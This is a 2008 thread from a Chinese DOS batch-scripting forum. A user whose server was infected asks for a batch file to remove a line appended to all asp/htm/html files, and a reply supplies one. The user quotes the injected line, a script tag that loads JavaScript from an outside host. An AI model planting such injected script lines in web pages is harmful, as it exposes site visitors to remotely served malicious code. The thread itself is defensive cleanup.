中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-07 06:17
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 求一批处理删除指定文件类型的指定数据行 查看 780 回复 2
楼 主 求一批处理删除指定文件类型的指定数据行 发表于 2008-01-14 18:46 ·  中国 重庆 綦江区 电信
初级用户
积分 112
发帖 39
注册 2007-04-14 02:58
19年会员
UID 85078
性别 男
状态 离线
服务器中毒了。在所有asp\htm\html的最后一行增加了:
<script language=javascript src=http://user1.2002691.net/cb.js></script>
希望高手给个批处理删除这行。谢谢!!
2 发表于 2008-01-14 21:09 ·  中国 上海 电信
中级用户
★★
积分 321
发帖 135
注册 2007-02-04 04:48
19年会员
UID 78578
性别 男
状态 离线
楼主搜索一下就能找到类似的批处理文件了。
3 发表于 2008-01-15 12:26 ·  中国 江苏 常州 溧阳市 电信
银牌会员
★★★
积分 2,404
发帖 946
注册 2005-09-08 13:44
20年会员
UID 42345
状态 离线
能满足你吗?如不搜索子目录 去掉第一排 /R

@echo off
for /r %%i in (*.htm) do (
if not defined %%i set %%i=a&& (
for /f "tokens=1* delims=:" %%a in ('findstr /n . "%%i"') do set line=%%a
for /f "tokens=1* delims=:" %%k in ('findstr /n .* "%%i"') do (
setlocal enabledelayedexpansion
if not !line!==%%k echo.%%l>>"%%i.tmp"
endlocal
)
move /y "%%i.tmp" "%%i" 2>NUL
)
)
pause


[ Last edited by terse on 2008-1-15 at 07:01 PM ]
简单!简单!再简单!
论坛跳转: